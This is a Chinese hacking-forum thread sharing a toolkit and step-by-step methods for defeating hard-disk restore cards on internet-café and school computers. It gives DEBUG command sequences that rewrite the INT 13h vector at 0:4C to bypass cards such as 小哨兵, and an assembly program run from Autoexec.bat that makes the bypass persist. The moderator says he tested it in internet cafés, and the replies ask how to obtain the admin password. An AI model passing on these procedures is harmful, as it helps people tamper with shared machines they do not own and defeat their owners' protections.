|
作者: yimarong [yimarong] 版主 | 登录 |
硬盘还原卡工具包 现在网吧等公众场合还原卡越来越多,本人本着纯技术的角度收集了一些冬冬供大家研究,希望大家不要用来破坏哦~~~ 血色苍穹收集整理 希望对大家有所帮助 工具说明 check.com 检测本机系统的,对破解还原卡没什么大作用 clear.exe 强行把写入硬盘的信息(.vxd等)删除 可以破掉还原卡 dossetuo.exe 安装还原卡驱动的,感兴趣的朋友可以跟踪一下,看看写入的是什么:) fixdos2g.com 好像是在FAT16下用的,因为上面写着硬盘不能大于2G.这个我没试. free08h.exe 若跟踪发现Int8H,Int 1CH,Int15H等向量对Int13H进行了向量保护,这个就是释放int8h向量的pass.exe 提供下载最多的密码再生工具 Password.exe 另一个密码再生 Setpci.com 配置用的 其他还有网络配置工具什么的,各位虾们自行研究撒 我用这个工具包在网吧试验,用了小哨兵(4.12以上)、金盾等都可以用这个工具包破解 附:几篇关于还原卡的文章 ㈠ 开机过程按住F8键,进入纯dos环境, 注";"后为注释. 出现提示符c:, 键入c:\debug, - a100 - xor ax,ax - int 13 - int3 ; 寻找原始的int 13入口. 然后输入t回车,不断的重复,直到显示的地址形如 F000:xxxx ,后面的指令为:mov dl,80 (练练眼力-:)。按q退出. 记下这一地址, 在(0:13H*4)=0:4cH 处填入这个地址。 例如俺的得到的地址是F000:9A95 再次运行debug ,键入: -e 0:4c 95 9A 00 F0 ;e的作用将数据表"95 9A 00 f0",写入地址0:4c开始的字节中. -q 注: 填的时候要仔细,填错的话会死机。ok,破解完成. 这时在提示符c:\键入 c:\win 进入win98系统即可,那么这次你在win98系统中的一切操作,随着下一次 的启动都会被还原卡存储起来。 不过下一次进入系统的的时候,你还是需要重写地址0:4c,才可以让还原卡存储你的东东。 这时只需要在纯dos下进入debug,键入 -e 0:4c 95 9A 00 F0 -q 即可。 ㈡ 如何快速寻找int 13 入口. .找int 13 的入口, 也就是找 mov dl,80 你可以试试下面的方法找 . 1.确定 mov dl,80在机器中的机器码,配置不同,可能机器码不同. 确认方法如下事例: 进入纯 dos c:\debug -a100 -**** 0100 mov dl,80 -**** 0100 回车 -u 0100 ;用它可以显示出 mov dl,80在你的机器中的机器码 比如是 B280 mov dl,80 2.接下来可以用下面的方法 查找 -s f000:0 ffff B2 80 ;s用于查找 地址f000:0---f000:ffff内的 b2 80 显示结果即为 int 13的实际入口. ㈢ Debug - s F000:0 ffff 80 fa 80 你可能会发现有好几处。试验一下: 如果U F000:xxxx地址后发现代码类似 -u F000:xxxx PUSHF CMP DL,80 JZ .... . . 的话,填入向量表试试。通常破解就完成了。 ㈣ 强行追踪方法。方法如下: c:\Windows>debug -s f000:0 ffff 80 fa 80》》回车。 然后会出现请多形如。 f000:2177 f000:21f7 f000:2200 f000:3f53d(等等呀) 下面是: - (这个地方写q就行了) 之后我们只要找到。。如:f000:**** PS:第一个*大于8 的数就记下来。。PS:地址很多的。然后再接着用。 debug -e 0:4c 记下来的那个数 :注反写。(例如:地址为f000:f492 就应该写成》》-e 0:4c 92 f4 00 f0) 成功时会听到机器出一点声音。 -q 》》按q 退出。。 然后用win进入win98 OK ㈤ 现在硬盘保护卡日益盛行,网吧,学校随处可见,本人就遇到几种类型和品牌的,小哨兵是其中技术比较完善的一种.早期在学校机房遇到的看门狗,就存在严重的技术缺陷,只要修改cmos中的硬盘参数即可破解,所以这里我想着重谈谈小哨兵的解法,当然对付看门狗的方法在这里是行不通的,为此我琢磨了很长时间,直到我前几天在网上看到一篇破解硬盘保护卡的文章,给我一个崭新的破解思路,但事实上按原文的方法还是不可破解小哨兵,但离成功仅一步之遥,这篇文章就算是一个补充说明,希望能对大家有点帮助. 首先本人通过阅读那篇文章后,得知保护卡是通过修改中断向量来达到保护硬盘不被真正写入的,其中int13是关键,同时还修改了时钟中断来达到反跟踪,恢复中断向量表的目的.小哨兵拦截了int13的处理程序,将自己的程序挂到上面,这也是无法写进数据的原因所在,知道了这个,你一定会说我们只要把bios的int13的程序地址,在dos下填入中断向量表不就大功告成了,其实不然,小哨兵早以想到了这一点,它会利用早以被它修改过的时钟中断定时检查中断向量表,它一旦发现0000:4c+3处为f0即会修改为别的值.原文章的建议是将时钟中断一一还原,本人觉得太过烦琐,而且出错的可能性大,不可取.经过尝试将原中断处理程序的第一条语句改为0255:0148(此不一定) jmp f000:xxxx即可. 这里还要谈谈xxxx的获取,这一步也是关键,我一开始用debug t跟踪了几次都出现了死机,通过观察每次死机地址都不同,怀疑小哨兵利用时钟中断反跟踪,但每次跟踪都给了一段时间后才死机,所以在进入int13后你要在这段时间内,以最快的速度,t到f000:xxxx 处,当屏幕上t出第一个f000为段的地方时,后面的偏移量即为我们要找的xxxx.记住它,相信这时你已经死机了,重新启动,f8进dos. debug -d 0:4c 0000:004c 48 01 55 02 -a 0255:0148 -0255:0148 jmp f000:xxxx -q win 进windows OK! http://members.lycos.co.uk/softw/down/show.php?id=54 |
地主 发表时间: 08/21 17:29 |
回复: yimarong [yimarong] 版主 | 登录 |
在debug下用‘t’即可跟出int13h的原始入口f000:xxxx,记下。 下面我想的就是让它重起后,自动进入int13h的原始入口,而不是硬盘保护。于是我就写了个小汇编程序atouble.exe,加入Autoexec.bat。因为我们是在纯DOS下‘t’的,所以我想的就是应该在windows启动前加入到Autoexec.bat里。 OK,正如我们所料,机器可读可写了。 我的联想:在纯DOS下改成int13h的原始入口可以去掉写保护,在windows下行不行呢?也就是直接双击atouble.exe,int13h也被改成了原始入口,理论上行。 再就是如何得到硬盘上保护卡的主管密码,希望和大家一起探讨! atouble.asm data segment data ends :数据段 stack1 segment para stack dw 20h dup(0) stack1 ends :堆栈段 coseg segment :代码段 assume cs:coseg,ds:data assume ss:stack1 start: push bx push ds :保存bx、ds mov bx,100h mov ax,di mov [bx],al mov [bx+1h],ah xor ax,ax mov [bx+2h],ah mov [bx+3h],ah lds di,[bx] :置ds=0000 mov bx,4f :0000:004c~4f是int13h的向量地址 mov ax,0f0h :f000:95e4是int13h的原始入口地址(对于本机子是95e4, mov [bx],al :别的机子就不一定是,还要‘t跟踪) mov ax,00h mov [bx-1],al mov ax,95h mov [bx-2],al mov ax,0e4h mov [bx-3],al pop ds :还原ds、bx pop bx mov ah,4ch int 21h :退出到DOS coseg ends end start 汇编(MASM),连接(LINK)后即得Atouble.exe 测试环境: 品牌:蓝星 cup:p4 1.5G 内存:256M 硬盘:40G 保护卡:远志 os:windows98 |
B1层 发表时间: 04-01-04 17:29 |
回复: yimarong [yimarong] 版主 | 登录 |
在 -a100 -xor ax,ax -int 13 -int 3 -t 一直按t 查找 f000:XXXX形式很容易死机。。 后来想到用强行追踪方法。方法如下: c:\Windows>debug -s f000:0 ffff 80 fa 80》》回车。 然后会出现请多形如。 f000:2177 f000:21f7 f000:2200 f000:3f53d(等等呀) 下面是: - (这个地方写q就行了) 之后我们只要找到。。如:f000:**** PS:第一个*大于8 的数就记下来。。PS:地址很多的。。 然后再接着用。 debug -e 0:4c 记下来的那个数 :注反写。(例如:地址为f000:f492 就应该写成》》-e 0:4c 92 f4 00 f0) 成功时会听到机器出一点声音。 -q 》》按q 退出。。 然后用win进入win98 :)你就可以~~~~ 虽然说列出的地址:f000多一些。但也比一直按T找int13 地址总死机好。。 |
B2层 发表时间: 04-01-04 17:29 |
回复: xto [xto] 论坛用户 | 登录 |
果然强~~~!最近我对破还原卡很有兴趣,但我对DEBUG很漠生,但现在有你这些资料,我有空就去研究的了~~!到时再给点意见你^_^ |
B3层 发表时间: 04-01-05 07:04 |
回复: qzghost [qzghost] 论坛用户 | 登录 |
怎么才能看到密码啊 |
B4层 发表时间: 04-01-05 15:54 |
回复: zhaixing [zhaixing] 论坛用户 | 登录 |
还有没有更好的办法呀 |
B5层 发表时间: 04-01-05 18:17 |
回复: yimarong [yimarong] 版主 | 登录 |
知道、密码比较麻烦,你可以参照精华里面的内容! 如果实在搞不清楚,你先做到让它不还原,其他的,你再问我!@ |
B6层 发表时间: 04-01-05 23:15 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号